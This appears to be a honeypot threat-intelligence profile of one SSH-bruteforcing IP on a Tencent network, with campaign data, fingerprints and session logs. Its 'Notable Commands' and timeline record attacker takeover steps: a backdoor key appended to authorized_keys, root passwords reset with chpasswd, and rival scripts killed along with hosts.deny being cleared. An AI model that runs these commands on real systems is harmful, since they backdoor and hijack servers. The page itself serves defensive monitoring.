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Location
🇺🇸 US / Santa Clara
ASN
AS132203 · Tencent Building, Kejizhongyi Avenue
Cloud Provider
—
Total Events
401
Top 10% by volume
Agent Count
2
First / Last Seen
2026-07-29 08:10 — 2026-08-25 12:42
Attack Types
MITRE ATT&CK Techniques
Initial Access
Defense Evasion
Command and Control
External Corroboration
Blocklist.de
blocklist_de:reported
Campaigns
HASSH f555226df196… — SSH-2.0-libssh_0.9.6 (412 IPs, 64 countries)
HASSH
Active
high
🇨🇳 CN
412 IPs
483914 events
ssh:bruteforce
2026-02-25 — ongoing · 412 IPs are running an identical SSH client (HASSH fingerprint f555226df196…). Top network: Microsoft Corporation (AS8075). Geographic and …
AS132203 Tencent Building, Kejizhongyi Avenue
ASN
Active
medium
🇺🇸 US
160 IPs
11971 events
http:scanssh:bruteforce
2026-02-18 — ongoing · 160 IPs from the same network (Tencent Building, Kejizhongyi Avenue, AS132203) were active during overlapping time periods. Temporal …
Session Forensics
Sessions
43 (18 with login)
Avg Depth Score
0.41
Commands Executed
68
Files Downloaded
12
Notable Commands
- cd ~; chattr -ia .ssh; lockr -ia .ssh
- lockr -ia .ssh
- cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
- cat /proc/cpuinfo | grep name | wc -l
- echo "root:p7P9w3wKF5lK"|chpasswd|bash
- rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
- cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
- free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
- ls -lh $(which ls)
- which ls
- echo "root:2h61A3X5vA9R"|chpasswd|bash
Fingerprints
HASSH
SSH Client
Evidence Timeline
Malware Dropper
33c6e9d67e4d
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
a7fe2a6b3fcf
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Scanner
b8db4a5e78ab
15%
Loading events...
Malware Dropper
f275b2a9a6ac
LOGIN
28
4
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…$ cat /proc/cpuinfo | grep name | wc -l$ echo "root:p7P9w3wKF5lK"|chpasswd|bash
Opportunistic Bruter
13e6b78f1be4
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
75a5658dd81a
LOGIN
20
2
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…$ cat /proc/cpuinfo | grep name | wc -l$ echo "root:2h61A3X5vA9R"|chpasswd|bash
Malware Dropper
a7e96755c7e0
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
bdc16dce22c3
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Reconnaissance
0f555ef9f6e7
LOGIN
2
1
60%
Loading events...
Opportunistic Bruter
f51fdb87d9e3
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
793699a06b6f
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
f2d57b05c2d3
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Opportunistic Bruter
9777b4f61d7d
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
645fb682822c
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
04f43c33b527
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Scanner
e51580c92b0d
15%
Loading events...
SSH-2.0-libssh_0.9.6
Opportunistic Bruter
5af48b7fb36e
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
73e7a1ba937f
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
6f916dc0759f
LOGIN
1
50%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
13921f3b27bd
LOGIN
3
1
1
100%
Loading events...
HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…